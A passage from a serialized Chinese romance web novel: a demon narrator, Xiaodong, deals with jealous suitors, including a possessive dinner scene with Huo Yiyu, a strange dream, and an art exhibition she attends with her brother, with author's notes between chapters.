他换了个话题:“最近怎么样?据我所知你哥回来了?” 我已经不想?问为什?么知道了,反正他们就像是小老鼠,耳朵一动什?么消息都知道,也不知道是从哪个老鼠洞听?到的。 我点点头:“回来了。” 他问:“那?霍亦瑀呢?” “他活得好好的啊。” “我是说,他难道没有意见吗?” 我歪了下头,疑惑道:“他要有什?么意见?” “占有欲、忮忌、敌意……什?么都好,他这个人,不可?能什?么都不做。” 宗朔摸了下嘴唇,像是在抓什?么,但手指蜷曲,咳嗽一声?,最后?从兜里掏出?糖,拆开丢进嘴里。 他有些自嘲地说:“霍亦瑀可?不是什?么大善人,不可?能有像我这样大度的人了,他绝对不会像现?在这么安静。” “但是他挺好的啊。” 我回想?着他的行为,什?么异常也没有发现?,说:“你应该是有偏见,你和他很熟吗?” “以前了解过,最近嘛……从圈外了解过。” 宗朔含糊带过,语气却笃定,“他这人,我虽然没有近距离了解过,但手段还是听?了不少,想?得到什?么就一定要得到,也绝对不会让别人染指自己的东西。” “谁是他的东西?” “好吧好吧……” 宗朔举手投降,:“世?界第一恶魔大人我投降。” 被当面叫出?网名,感觉有点怪怪的。 我已经过了中二的年纪了,但仍然保持着中二的网名。 总之,错的是这个世?界。 我立马去翻他的网名,想?要找点平衡,结果发现?这人叫[不要轻易去网吧],之前不是叫什?么[三十八岁人夫]吗? 就在这时,手机屏幕上方,属于霍亦瑀的消息提示弹了出?来。 [Y.Y]:工作结束了 [Y.Y]:想?吃什?么,今天晚上我来做 我对上宗朔看好戏的眼神,终于相信了一点他说的话。 霍亦瑀真的有点奇怪了,他竟然想?做饭!—— 作者有话说:宗也是跟麦子当上合作伙伴了,就这样一路走到黑(?) 越写越觉得宗是个有度量的人,有木有,他已经不打算挣了(不是),他只是工作太多,没精力了,工作让人养胃,至于麦子,他被人整了,会整回去的(对),支持服美役自由,我觉得除了浦,最平和的就是麦了,他纯纯是个脑子不够用的人,没有很善良,也没有很固执,是个有点无聊的人,原本人设是性格强烈来着,结果现在完全变了! 和原本设定性格相差很远的还有拙拙,他原本是个贱货,结果演变为了敏感男,哎哟喂,我这个手,不该写这么多人的 最近更太多,窝疲惫了,窝要放慢速度,奔向一月就奔向一月吧,和大家一起跨年了[抱抱] 第99章 “他想做饭。” “?” 宗朔的表情有?一瞬间的凝滞, 像是没听懂我在说什么,随后才挑起眉:“所以呢?” “所以这很奇怪啊。” 我认真地分析道:“他以前从来不做饭诶。” “奇怪的地方多了去了,这算什么,可能是心情来了吧。” 宗朔这时倒显得?很平静了, 对霍亦瑀要做饭这件事兴致缺缺。 他整个人倒回椅背, 继续捧着杯子喝水, 目光轻飘飘地扫过仍在我椅子边保持半蹲姿态的麦景,“一直这么蹲着,腿不麻吗?” “不。”麦景摇头。 我对他摆摆手:“你去坐着吧。” 他这次没再坚持,站起身, 却没有?走向旁边的沙发,而是搬了张椅子,紧挨着我身后坐下。 这样莫名营造出一种奇特的氛围, 仿佛宗朔是来汇报工作的下属,而麦景是我身后沉默的、忠诚的秘书或保镖,而我是个大反派,在顶楼上挥斥方遒。 于是我拍了几张照片。 清理手机图库时, 我翻到了之前在私人会?所花园里,用闪光灯拍下的泉越泽。 当时光线刺眼,他闭着眼,脸色苍白, 额发被冷汗浸湿, 白色的睫毛上甚至挂着生?理性?的、细微的水光, 看起来狼狈又……有?种诡异的脆弱感。 之前没仔细看, 这张抓拍倒是颇具美感,放在网上说不定?有?人求片源的类型。 下次遇到他,我一定?要再逗逗他才行, 不得?不说,他和?泉卓逸都属于很好玩的那?种类型。 尤其是泉越泽,他对于我来说还是八成新,我对他的睫毛颜色十分好奇,虽然也不是没见过白色的睫毛,但他的头发是黑色的,为什么睫毛偏偏是白色的。 是他偷偷给睫毛做了漂色,还是因为什么病? 我很好奇这件事。 “小冬。”麦景的声音从我身后传来,很近。 我回头,他的视线却迅速移向别处,仿佛刚才那?声轻唤只是我的错觉。 我:“怎么了?” “得?不到关注,闹别扭了呗。” 对面的宗朔凉凉地开口,语气?带着点看热闹不嫌事大的调侃:“三?个人的场景里硬要挤进第四?个人,再多来几个,我这小办公室恐怕真要装不下了。” 哪有?第四?个人? 我左看右看,最后目光锁定?手机照片。 像这种只能算半个人。 我又品了品,虽然不喜欢反复揣测,但宗朔很好懂,只要他阴阳怪气?,那?就是有?别的事。 我说:“总觉得?你话里有?话。” “对啊。”宗朔承认得?干脆,他放下杯子,身体微微前倾,显得?困倦的眼睛盯着我:“我也想要关注。” 我看着他,他看着我。 空气?安静了几秒,只有?电脑主机运行发出的微弱嗡鸣,最终,他先移开了视线,几不可闻地叹了口气?。 “你是不是爱上叹气?了?” “很难不叹啊。” 宗朔用一只手撑着头,垂下眸子,长长的睫毛在眼下投出一小片阴影,那?倦意?似乎更深了些:“连续工作十多天,今天一看到你,我的脑子一团浆糊,心里乱七八糟的,最后只能叹口气?。” 我想了想,问:“你一天工作几个小时?” 他说:“我只睡五个小时。” 我震惊不已?,没想到他竟然这么爱工作,以前他可是总是迟到,最后一个才来上班的家?伙。 他撑着头看我,表情有?些许复杂,窗外的光将他的脸照得?透亮,但是虽然亮着,又总是有?种隔着雾似的感觉。 如果能透过皮囊,直接读取他心里的想法就好了,这样就不用透过情绪来猜测。 好歹现在也是真的在努力工作,我觉得?有?必要安抚一下员工的情绪。 我认真地说:“下次我会?给你带礼物的。” “谢谢?”他皮笑肉不笑地扯了扯嘴角,假笑道,“你人能多来几趟,比什么礼物都强。” “那?你也可以来找我。” 我说:“你知道我家?的地址吧。” “……嗯。” 他应了一声,却又摇摇头:“还是算了。” “为什么?” “会?给我一种不切实际的错觉,说不定?我的精神也要不正常了。” 他又掏出颗糖塞进嘴里,咬得?咔咔作响,眉头微蹙,略显烦躁,视线往我身后看了一眼,再次移开视线,看向窗外的景色。 他肯定?是上班把脑子上坏了。 我和?老实坐着的麦景讲了会话,一问一答,我问什么,他就说什么。 内容十分低脂,因为这人的生活非常无聊,像是白开水,生?活里什么调味也没有?。 除了上班就是锻炼,连开的摩托车都是别人送的,不是他的兴趣爱好。 我觉得?有?点无聊,拿起手机看了一眼,时间已?经?快到傍晚。 “回去吧。”宗朔忽然站起身,走到落地窗前,背对着我们,看向窗外渐次亮起的城市灯火,“别让那位心血来潮的大厨等急了。” 我松了口气,终于能走了。 出去的时候脚步十分轻快,走到半路忽然想起自己应该装一下,于是转头去看宗朔,发现这人一直盯着我,我挥挥手,他又叹了口气?,像是老了十岁。 果然,福气?都被叹没了。 麦景一直跟在我身后,直到下了电梯,他也寸步不离,等我想问他是不是要跟我一起回家?时,他摇摇头,掏出手机,小声地说想加回好友。 这些人,一个个的,都变得?越来越奇怪了。 我在心里嘀咕了一句,转身坐进了等候的轿车里。 最奇怪的还是霍亦瑀。 他竟然想要变成大厨。 可能是看过我的顶级火锅,激起了奇怪的胜负欲,所以才想着下班回家?亲自掌勺,试图在厨艺领域也占据一席之地。 从宗朔那?里离开后,我手握着新添加的好友,左思右想,终于在车上得?到一个完美的逻辑闭环。 他或许有?点top癌,什么都爱争。 想当厨师吗?那?就来努力吧。 车子驶入别墅区,停在那?栋熟悉的宅邸前,我输入密码推门进去。 房子好像又不太一样了。 色调比上次来的时候更加柔和?温暖。 原本偏冷感的深灰和?钢蓝被替换或点缀了大量米白、浅驼和?燕麦色,灯光也调成了更柔和?的暖黄光,整个空间像是被加了一层温柔复古的滤镜。 而最引人注目的,是客厅中央地毯上,堆成小山一样、包装精美的礼物盒。 食物的香气?和?酒味从厨房方向飘来。 我探头往里看去。 霍亦瑀穿着暖黄色的羊绒毛衣,外面系着一条深灰色的棉质围裙,手里正拿着一只长柄木铲,在流理台前忙碌。 暖黄的灯光落在他身上,柔和?了他惯常冷峻的侧脸线条,这个形象和?他平时西装革履、一丝不苟的模样,相差甚远。 这是正常,还是不正常? 在必要的时候,我拥有?一项极其符合人类社交礼仪的技能,若无其事,假装什么都没看见。 于是,我镇定?地移开视线,仿佛对这一奇观毫无表示,目光径直落向那?堆礼物山。 我兴冲冲地靠过去,蹲下来,开始动?手拆解这些精美的包装。 第一个盒子拆开,是最新款的游戏机主机,旁边还有?一摞厚厚的、未拆封的热门游戏卡带。 白色的泡沫纸和?拉菲草堆积在一旁,发出窸窣的悦耳声响,看得?我心情愉悦。 “今天晚上想吃点什么?” 霍亦瑀的声音从厨房传来,平稳如常。 “随便吧。”我头也不抬,继续和?第二个礼物的丝带搏斗,“你做什么我都行。” “总得?给点方向或建议吧?” 声音近了点,转头一看,他拿着铲子走到厨房门口,倚着门框看我。 我还在和?手里的包装纸搏斗,终于拆开了第二个盒子,里面是一套限量版的手办。 我眼睛亮了亮,随口道:“你做什么我都喜欢。” 他似乎轻笑了一声,没再追问,转身回了厨房。 我这才后知后觉地想起来,我好像从没见他真正使用过这个厨房。 曾经?我以为那?些锃亮的厨具只是昂贵的装饰品,直到厨师上门。 好奇心被勾起,我放下拆了一半的礼物,也跟着溜达到厨房门口,探进半个身子。 他背对着我,围裙带子在身后系了个规整的蝴蝶结。 毛衣柔软的质地勾勒出他挺拔的背脊线条,比起穿着硬挺西装时,此刻的他周身散发着一种罕见的、居家?的松弛感。 不仅是了房子,连霍亦瑀也套了层滤镜。 我凑到他旁边,踮脚往锅里看。 一团绿的黄的,看上去格外健康的蔬菜翻滚着。 “在做小时候家?里常吃的,清水煮杂蔬。”他头也不回地说,手腕偶尔用漏勺轻轻推动?一下,“以前家?里的保姆总会?做这道,比较健康,往蘸料里多加一点糖,就能吃得?干干净净。” “那?你会?做火锅吗?”我问。 “不会?。” 他侧过头看了我一眼,浅色的眸子在厨房灯光下显得?格外温和?:“你想吃?” “我会?!”我立刻挺起胸膛,哼哼地笑,,“我做的火锅,他们都说超级好吃!” “那?下次做给我尝尝。” 他的语气?里带着点笑意?,又转回头去看锅。 “……好吧。” 我答应得?有?点不情愿,做饭其实挺麻烦的,体验过一次顶级大厨的瘾之后,我已?经?打算封铲退。 人类的食物制作过程比起情感的诞生?要复杂数倍。 情感不需要经?过调味、火炒、油炸等步骤,它只需要用眼睛,用耳朵,再加上鼻子,在眨眼的瞬间便能凝聚而成。 我囫囵地将浓郁的情感塞进嘴里,连咀嚼都不需要,流进胃部,暖洋洋地消化。 他只要站在我面前,我就能品尝到一顿大餐。 霍亦瑀专注地盯着锅里翻滚的蔬菜,手腕平稳地操作着漏勺,用那?种平淡叙述事实般的口吻说:“你和?他们关系很好。” “对啊。” 我说:“我们以前就住在一起,是一家?人。” 他嗯了声,淡淡地说:“两个成年男人,长时间和?另一个成年女性?住在一起,听起来不太寻常。” “可是我们现在也住在一起啊。” 我指了指他,又指了指自己,觉得?这个类比毫无问题。 他侧过脸,看了我一眼,没再说什么,只是关火,将焯好的蔬菜捞进准备好的冰水里过凉。 晚餐摆上桌。 除了健康的蔬菜之外,还有?清蒸鱼、白灼虾和?一小碗淋了酱汁的鸡丝 我随便尝了两口,注意?力又被手机吸引。 宗朔刚发了个游戏组队邀请过来,但是我在玩手机,于是果断地拒绝。 [宗伟朔大]:好好吃饭 “不合胃口?”霍亦瑀的声音响起。 我看了一眼桌上的菜,随手捻了一筷子鸡丝放进嘴里,咀嚼着,眼睛没离开手机屏幕,“还好啦。” 他放下筷子,银质的筷尾在桌面上发出轻微的碰撞声,“我有?点不知道你喜欢哪些菜系,如果觉得?好吃,喜欢,就说出来。就算不喜欢,也可以直接告诉我。” 他顿了顿,看着我:“我们之间,不需要隐藏这些吧?” 我想了想,放下手机,认真地回答:“可是,就是还好啊,没有?特别喜欢,也没有?讨厌,对我来说,食物差不多就是这样。” 他安静地看着我,嘴边的弧度逐渐拉平,显露出接近咄咄逼人的攻击性?。 “那?现在呢?此刻,坐在这里,感觉怎么样?” “还好吧。” 我环顾了一下温馨的餐厅,诚实地回答,环境舒适,食物不难吃,不饿,也没特别开心或不开心。 他问:“那?我呢?” 我沉思片刻,对上他的视线:“挺好的。” 这是实话。 他照顾我,给我很多好东西,情绪稳定?,长得?也符合审美标准,无论怎么看都找不到毛病。 五年里,他一直在我身边,虽然记忆总是模模糊糊,但我对他印象十分地不错。 “……” “我不想说出那?个名字。”霍亦瑀笑了下,目光扫过桌上的菜,“颜升呢?他是不是很能讨你的欢心?” “让你愿意?把他引入家?里,在我们的床上留下肮脏的痕迹。” 他说:“床我已?经?丢掉了,但是有?些事,就算我想视而不见也不行。” “你还在生?气?啊?” 我耸了下肩,说:“我已?经?把他屏蔽了,我们可以一起说他的坏话。” 他调转话题,看着我说:“和?我在一起的时候,你开心吗?” “开心啊。”我说。 他忽然笑了下,那?笑容很浅,却没什么温度。 他抬手,慢条斯理地解下了腕间那?块表盘龟裂的手表,将它轻轻放在光洁的桌面上,发出咔哒的轻响。 “不用勉强自己说这些。”他说。 霍亦瑀没再说话,房间里只有?筷子的声响,饭后,他收拾碗筷,把它们丢进洗碗机里。 而我拆完礼物,对满地的东西满意?得?不行,包装纸和?泡沫飞到到处,原本还想收拾下,但霍亦瑀说明天会?让保洁来。 最后,我慢悠悠地洗漱完,和?他躺上崭新的床。 我满意?地打个滚,背对着霍亦瑀,沉浸在睡前的手机时间里,不知怎么的,今天的短视频格外好看。 大概是因为有?了礼物吧。 那?么多东西,我可以挑几个转送出去,还不用自己花钱了。 “不想睡觉吗?”霍亦瑀的声音从背后传来。 我盯着手机,刚想说再过五分钟时,一只手揽住我的腰,霍亦瑀直起上半身,表情浸没在暗处,看不清真切。 “不想睡觉的话。” 他的声音在我头顶响起,带着一种我从未听过的、压抑的沉郁:“来做点能让你感觉到不只是还好的事吧。” 他俯身下来,手臂撑在我身侧,温热的呼吸沉沉地打在我的耳畔。 “上次……”他的声音沉了下去,几乎只剩下若隐若现的气?音,“颜升是怎么做的?” 如果我说忘了,是不是还要给颜升打个电话问一下? 我还没有?回答,他的唇已?经?压了下来。 他也喜欢咬人,在唇齿贴近时,总是含住舌头,时不时轻咬下,甚至带着点撕咬般的力道。 我能清晰地感知到他平静表象下翻涌的怒气?,像暗流,像潜伏的蛇,在他紧绷的身体里起伏。 但说实话,感觉并不坏。 他显然很了解如何取悦我的。 力道、节奏、触碰的位置都恰到好处。 那?怒意?转化为某种强烈的占有?和?索取,反而让整个过程更加尽兴。 唇齿交缠间,那?些复杂的、属于人类的激烈情绪,像被打翻的烈酒,浓烈地浸润而来。 躺着爽! 最后,我舒舒服服地,在一片混沌而满足的倦意?中睡着了。 不知道睡了多久,或许只是意?识沉入深海的一个恍惚。 有?一个声音在耳边响起。 “口口口口。” 不知道睡了多久,或许只是意?识沉入深海的一个恍惚。 有?一个声音,穿透了厚重?的睡眠帷幕,直接响在我的意?识深处。 被屏蔽了,完全不知道在说什么。 迷糊之间,眼前的黑暗被一片炫目的白光撕裂。 那?光逐渐凝聚、变成巨大的、纯白的羽翼,但每一片羽毛的根部,都镶嵌着一只金色的眼睛。 数不清的眼睛,密密麻麻,无声地、齐齐地注视着我。 “你该回来了。” 那?么多眼睛竟然只有?一个嘴巴。 他重?复着:“你该回来了。” 我努力闭上眼睛,只想好好睡个觉,但他絮絮叨叨个不停,像个蚊子似的在耳边嗡嗡嗡。 我用云朵堵住耳朵,把头埋进海里,也无法隔绝他的声音。 为什么? 我的思绪难以成型。 好像是……因为什么标记……什么来着? 羽毛拂过皮肤,温热的眼球贴着我,转来转去,像是在做按摩似的,他还在说该回来了。 我烦不甚烦,不停地翻身,但羽毛越裹越紧,源源不断地散发着热量。 与此同时,我闻到了熟悉的气?味。 浓郁的、几乎凝聚成实体的糖渍柠檬。 它穿过羽毛的缝隙,挤进我的嘴里。 身上的羽毛压得?更紧了,眼球频繁地转动?,似乎想要阻挡住这股气?味。 但我还是尝到了。 真是——太酸了! 我猛地睁开了眼。 周围一片昏黑,看不清,但我能感受到床的触感,迷迷糊糊打了个哈欠,回想起来霍亦瑀应该在前边,让往旁边摸了下,什么也没有?。 但鼻尖有?柠檬的气?息。 栾明在附近。 我抬起头,发现床边站了个人,几乎完全融入黑暗的、静止的,身影的边际在昏暗中显得?模糊。 眨了下眼,我确定?他真的站在床边。 我伸出手,被他的手握住,指尖冰凉。 该叫什么呢…… 我想了想,叫道:“哥。” 他嗯了声,蹲下身,终于露出在月光下冰凉的脸,凑近点,他的呼吸也是冷的,像是才从夜色里进来。 他低声说:“我们该回家?了。” “霍亦瑀呢?” “他有?事出去了。”他说,月光让他一半脸陷在阴影里,“现在他应该很忙,他的弟弟似乎给他先了不少?的麻烦。” “你怎么进来的。” 他回答得?极其简单,仿佛这是再自然不过的事:“他开门,我就进来了。” 好吧,这个答案,好像也没什么不对,至于他为什么会?在这,为什么现在会?来,也不重?要。 我掀开被子,朝他伸出双手。 他顿了下,转过身,将背对准我,然后我熟练地靠了上去,在他结实的肩膀上打了个哈欠。 “你在生?气?吗?” “没有?。” 他背着我,稳步走出卧室,穿过寂静的客厅,他的声音从胸腔传来,带着轻微的震动?:“我只是……很高?兴。” “高?兴什么?” “高?兴我终于能像现在这样,站在你身边,背着你,带你回家?。” 他的声音很低,却异常清晰,在寂静的房子里轻轻回荡。 困意?再次袭来。 我蹭了蹭他的肩膀,模糊地嘟囔:“那?……我原谅你了。” 在他平稳的、令人安心的步伐和?气?息中,我再次沉沉睡去。 这一次,没有?白色的翅膀,没有?金色的眼睛,也没有?奇怪的声音。 只有?一片平静的黑暗—— 作者有话说:哥已经不是以前那个啥也干不了的人了!崛起(崛起) 霍原本觉得他和小冬已经到可以结婚的程度,结果被兄敌背后捅刀,发现冬子不爱他,和他的感情不对等,立马破防了,原本觉得可以演,结果演一下发现演不下去,又要怒火一下,觉得自己想得到什么都可以得到,所以一直有股迷之自信,发现得不到就开始发疯 他会抢得最凶,情感挣扎也不耽误又争又抢 窝又困得不行了,这周继续努力! 第100章 再醒来时, 我正?躺在有点熟悉又?有点陌生的?床上,反应了一会,我终于意识到昨天什么时候开始不是在做梦。 梦和现实交织,一会是白色羽毛和金色眼球, 一会是黑乎乎的?哥哥, 而床的?另一半空荡的?、泛着冷意。 现在的?床就不是冷的?, 只属于我一个人的?大床,柔软舒服,怎么滚都没?事。 我又?躺了会,拿起手机, 果不其然看?到了来自霍亦瑀的?消息。 [Y.Y]:工作又?找上我了 [Y.Y]:好?好?休息 所以哥哥半夜来是一种正?常的?事啊,原本我还觉得?有点怪,现在以他?们两个的?反应来看?, 好?像压根不是件大事。 我踢踏着拖鞋晃出房间。 客厅笼罩在上午懒散的?光线里,哥哥没?有像往常一样整理家务,而是坐在沙发上,面朝着卧室方向, 膝盖上搁着打开的?电脑。 我凑过去,电脑屏幕上满是看?不懂的?图片,很多?红红绿绿的?线条,数字跳来跳去。 他?往旁边挪了点, 手指顺了顺我睡乱的?头发:“还困?” “我现在精力十足。” 我盯着他?的?电脑, 沉吟片刻:“这是你的?兼职吗?” “嗯。”他?点点头, 平静地说, “只是一点小事,帮别人看?数据。” 我若有所思地点点头,这种体力活真的?费眼睛, 还是明星赚钱。 看?了会儿没?意思,我滚到沙发上玩手机。 脚步声靠近,影子罩下来,牙刷已经递到嘴边,我张嘴,任由他?伺候,等水杯递过来时,我才后知后觉,这样躺着被人服侍,好?像个废物。 虽然我是个懒惰的?恶魔,但不是个废物恶魔,要是再这样下去,说不定哪天我会变成婴儿状态,被他?抱在怀里喂饭。 不行?,我不能变成废物。 于是我接过水杯,自己去洗漱间收拾。 等回来时,哥哥站在沙发边,把电脑合上,调出电影,舒缓地播放起来。 我压在他?的?身上,和他?一起看?电视。 “这部电影好?眼熟啊,我看?过吗?” “可能。”他?沉默了一瞬,手臂自然地将我圈稳,“要换一部吗?” “不用。” 我说:“和你一起看?也第一次看?。” 他?手指无意识地摩挲我的?手臂,轻声说:“快冬天了,该买衣服了。” “我的?衣服已经多?得?堆不下了。” 我忽然想到什么,竖起手指,“不如买点睡衣,然后我们可以在家里聚餐睡衣派对,睡衣可比其他?衣服好?,反正?又?不怎么出去。” 他?笑了下:“好?。” 看?着看?着,我的?手臂流淌到他?的?肩膀上,身体流淌到沙发上,再然后我在沙发上倒立、打滚、翻来覆去。 落地窗外的?天气格外好?,蓝天白云,阳光金灿灿,江对面的?高楼大厦附着一层亮眼的?光,像是涂上了蜂蜜,江面波光粼粼,同样亮眼。 “你今天有事做吗?” “没?有。”他?跟着一起看?向窗外,“小冬想出去玩吗?” “我觉得?应该出去了。” 我拿起手机,想到什么,给车千亦发送消息。 [世界第一恶魔大人]:有工作吗?我要带我哥出去见见世面 [车千亦(周末勿扰)]:……? [世界第一恶魔大人]:是本人 [车千亦(周末勿扰)]:下午有个美术展会,你想去的?话我打电话通知,具体工作是拍照,参加下午茶会 [车千亦(周末勿扰)]:你确定要去? [世界第一恶魔大人]:够不够高端,不够就不去 [车千亦(周末勿扰)]:就当去喝茶了,总之,你等着我来接你 看?来是高端的?。 我放下手机,大手一挥,对哥哥说:“换上你最贵的?衣服,下午我们出去工作。” 他?愣了下,眉头微微聚拢,“是霍亦瑀的?要求?” “不是。”我说,“是你要跟我去工作,我想带你去。” 他?凝视我几秒,唇角弯起一个很轻、却?切实的?弧度,声音放得?更低:“好?。” 等车千亦上门时,我正?在给他?挑衣服,他?的?衣服很少,换来换去都是那么几件。 车千亦穿着百年不变的?工作服,胸口的?袋子里还插着工牌,像是才从会议上下来。 “……你们在干嘛?” “在挑衣服。”我丢开另一件衣服,拿起灰色衬衫,兴致勃勃地问她,“你觉得?这件怎么样?虽然看?着落魄,但是很时尚。” “不怎么样。” 车千亦上下扫视,冷淡地说:“他要去的话,等会会有化妆师给他?搭配,时间不早了,我路上给你说要做的事。” 她雷厉风行?地转过身,领着我们走进久违的保姆车。 我十分熟练地拿出水,对安静坐在一旁的哥哥炫耀:“这里面还有冰淇淋,你想吃就拿,累了这里还可以睡觉,你看?,这个座位还可以变成——” 我伸手去调座椅,结果一抬头对上车千亦有点便秘的?眼神,她扶了下眼镜,眼镜上闪过一道白光。 “你在想什么?” 这副表情?,肯定是在想什么坏事。 “……没?什么。” 她说完抿着嘴,低头看?手机,滔滔不绝起来:“今天下午的?画展还有很多?名人参加,到时候会有画家登台讲话,你到时候跟她一起站上台拍个照就行?了,至于那些记者,他?们的?问题,你一个也不要回答。” 我躺在调成床的?座椅上,侧躺着,用标准的?、只会出现在照片的睡姿面对着哥哥,假装睡着了,发出呼噜声。 在他?笑的?时候,我敏锐地睁开眼,十分神气地拍拍座椅,示意他?也躺下。 但他?摇摇头,视线转向另一边。 车千亦不知道何时停下讲话,正?一脸便秘地看?着我。 我提议:“要不然我们都躺下吧。” “……别闹了。”她又?扶了下眼镜,“等会我有事,不能一直等着活动结束,这位先生、栾先生,你——” “我知道。” 哥哥点点头,平静地说:“拒绝闲杂人的?搭话、不要回答记者的?问题、不随便喝别人递来的?东西、去厕所的?时候要注意、在和画家拍照前不要弄乱妆造……” 他?噼里啪啦说了一堆,像是某种咒语。 车千亦拧着的?眉头在他?的?咒语下逐渐舒展,终于露出点轻松的?神色,点点头,认真地说:“那就拜托你了。” “是我该做的?。”他?说,“照顾小冬是我本来就该做的?事。” 车千亦看?了他?一眼,没?再讲话。 我又?鼓动哥哥调整座椅,成功让他?躺下,然后以视线攻击波,成功也让车千亦躺下了,她刚开始不情?不愿,可最后到达目的?地的?时候,她已经拥有了婴儿般的?睡眠。 和她相比,宗朔还是睡得?太多?了。 哥哥示意不要打扰,低声安排司机送她回公司,随后转身,与迎上来的?负责人自然交谈起来,姿态熟稔得?仿佛他?才是这里的?常客。 等坐在化妆室时,我盯着他?坐下,好?奇地问:“为什么你懂这么多??你之前的?工作是相关?的?吗?” “差不多?。” 他?走?到我椅边,看?着化妆师展开琳琅满目的?刷具,黑沉的?眼眸映着镜前灯的?光,因为眨眼而明明灭灭。 他?说:“这里……比我预想的?要更热闹些。” “因为有很多?人嘛。” 我撑着下巴,“只要有人的?地方就很乱,如果可以随身携带私人化妆室的?话,就不会有这么多?人了。” “你觉得?怎么样?”我问,“是不是很好?玩,很神奇。” 他?点了点头,仍然盯着我,手指在身侧无意识地蜷缩。 “我有点意外……”他?话没?说完,尾音消失在喉咙里。 “和以前一样啦。” 我觉得?男公关?的?休息室和现在的?化妆室没?什么区别,都是人、衣服和灯光。 他?摇了摇头,看?着我,眼中?倒映着我的?影子。 等完成了,化妆师在我的?指示下给哥哥进行?打扮,要求一定要给他?不一样的?体验。 要比在[极乐世界]隆重一百倍,虽然他?又?不是没?有打扮过,在[极乐世界]每天都这样,但也要力求有不一样的?感?受。 化妆的?时候,化妆师夸了两句我们长?得?像,哥哥闭着眼睛,安静地听着。 发型部分最耗时,我拿起手机,继续有一搭没?一搭地玩着。 [Y.Y]:出去了? [世界第一恶魔大人]:对啊,我去工作了 [Y.Y]:好? 这几天手机消息少得?可怜,没?了邛浚和颜升,整个世界平清净得?有点无聊。 绝对不是我在想念他?们的?意思,只是觉得?少了点乐子。 如果要用人类的?话来形容的?话,就像是皮蛋一样的?东西,吃一口怪异腻人,不吃的?时候偶尔会想一下。 毕竟邛浚和颜升给我带来了不少乐子,虽然有些我不觉得?乐,但他?们的?精力吓人,一边忙还能骚扰我。 像他?们这种,肯定很少回家吧。 对了,他?们是不是住在同一个大宅里的?? 像那种家庭伦理戏码,每天回家就会吵架,闹得?鸡犬不宁。 邛浚加颜升绝对是一加一大于二的?吵闹。 我想着,开始翻阅朋友圈,没?事我就喜欢巡视网络,偷窥别人在做什么,给自己的?生活来点灵感?。 刚点进去的?第一条就是柯觅山,他?的?照片角度统一,不是在飞机上就是在餐桌上。 我给他?点了个赞,过了五秒又?取消。 再往下滑,是宗朔发的?游戏截图,这家伙又?熬夜打游戏了,我很怀疑他?到底有没?有在认真工作。 所以我给他?点了赞,以示警醒。 巡视完朋友圈,我抬起头,对上镜子里哥哥的?眼睛,他?的?头发被打理得?精致,像是电影里上层社会人最喜欢的?造型。 我盯着他?看?,试图找到某个变化的?地方。 长?相还和以前一样,但有哪里变了。 属于身体里面的?变化,是某种气质,或者说气场,像是食物发酵,虽然外表没?有丝毫不同,但内在是不一样的?。 化妆师放下工具,发出满意的?赞叹声,她还有很多?工作,于是跟我拍了一张合照,就出去了。 “你看?上去不一样了。” 哥哥看?向镜子,很快移开视线:“因为衣服吧。” 我摇摇头,故作深沉地说:“不是外表,是里面。” “我没?有变。”他?说,“只是想法不一样了。” “如果可以的?话,我希望一切都可以不变。” “现在这样,就很好?。”他?几乎是喃喃自语,指尖轻轻划过我椅背的?边缘,“无论何时,你都是最好?的?。” “……只要在你身边,就像以前一样,好?像什么也没?变过。” “那是好?事吗?” “好?。”他?说,“只要是你,什么都好?。” 我想了想,说:“如果我要统治世界呢?” “我会帮你。” “错错错,你知道统治世界多?难吗,而且我们也不是小孩子了。” 我拍了拍他?的?肩膀,将自己身上的?蝴蝶结夹子别在他?的?领结上,蝴蝶结大得?像个领结。 他?低头看?了看?,指尖轻触蝴蝶结,任由它留在原处。 工作人员敲了敲门,由经理带我们进大厅。 大厅纯白一片,高阔安静。只有墙上的?画爆出浓烈颜色,像被关?起来的?吵闹,空气里有淡淡香味和低低的?音乐,人们像鱼一样慢慢游动。 画展是在一个巨大的?美术馆举办的?,而画家是个上了年纪的?中?年女性,她衣着朴素,在人群中?穿梭。 因为这是她回国办的?第一个展,而且还是商业合作性质,所以来了很多?名人和上流人士。 在穿着光鲜亮丽的?人群里,我一眼就看?到了泉越泽。 他?穿着黑色西装,像是乌鸦的?羽毛,身边站了不少人,从容不迫、游刃有余地交谈着。 那泉卓逸呢? 我左看?右看?,没?有看?到。 “在看?什么?”哥哥说,“负责人说还有十分钟,开幕会很短暂,等会再去做其他?的?事吧。” 他?真就像是车千亦附体,脸上一点对于周围的?惊喜也没?有。 “你不觉得?新奇吗?”我不死心地问,“这么多?人诶。” “……新奇。” 我看?出来了,他?完全不觉得?新奇,而是一直盯着我连其它地方都没?看?。 接下来的?行?程和计划中?一样,由画家上台,然后我再上去,在旁边听着她的?话,偶尔点点头,下面的?闪光灯不停地闪,直到宣布画展开始,最后有几个赞助人上台,完全就像是商业剪彩似的?。 我一下子失去兴趣,对接下来的?活动兴致缺缺。 虽然只需要喝水、吃点心,像所有下午茶一样过去,但我对这种固定的?社交流程不感?兴趣。 只是人们在说话而已。 有目标地进行?选择,为了获得?什么而格外地迫切,连欲望都一模一样。 我又?没?有感?兴趣的?人,现在好?想立马回家。 “累了吗?” 哥哥立刻察觉,有些担心地说:“我们去旁边坐下,等结束就离开。” “很无聊啊。”我撑着下巴,视线在大厅里的?人身上徘徊,“画有什么好?看?的?。” 他?看?了眼四周,嗯了声。 “要不去我们把桌上的?吃的?都尝一遍吧。” 我忽然来了个主意,看?向旁边的?长?桌,那边偶尔经过几个人,更多?时间只是个摆设。 我小声地说:“哥,你去拿。” 他?点点头,看?了我一眼,离开了隐秘的?角落,穿过人群,朝着长?桌走?去。 而我则只用坐享其成。 就在等待的?时候,旁边有人经过,我抬头望去,看?到了突出的?白色睫毛,他?和另一个人刚交谈完,忽然看?了过来。 对哦,我想了,我还有件事没?做。 我起身朝他?走?去。 泉越泽和旁边的?人说了句什么,对方漫步离开,只剩他?一个人站在装着画前,背对着油画质感?的?、枝条纤细的?、颜色艳丽的?花朵。 他?看?见我,唇角那抹公式化的?弧度瞬间冻结,下颌线几不可察地收紧,变成面无表情?。 而上次见面,他?在雷声暴雨里吓失神落魄。 “哟。”我举手道,“这不是泉越泽嘛。” 他?皱了下眉,看?向其他?方向,等确定没?人,转头对我说:“你的?助理呢。” “我没?有助理。” 我抱着手臂,摇摇头说:“你是不是忘记什么事了。” 他?的?眉头皱得?更紧,仍然没?有什么表情?,深绿色的?眼睛看?向我,眸光有些刺眼:“霍亦瑀不在这,你想说什么。” 又?关?霍亦瑀什么事。 我提醒道:“上次啊,你不记得?了,上次我们明明说好?了。” “……” 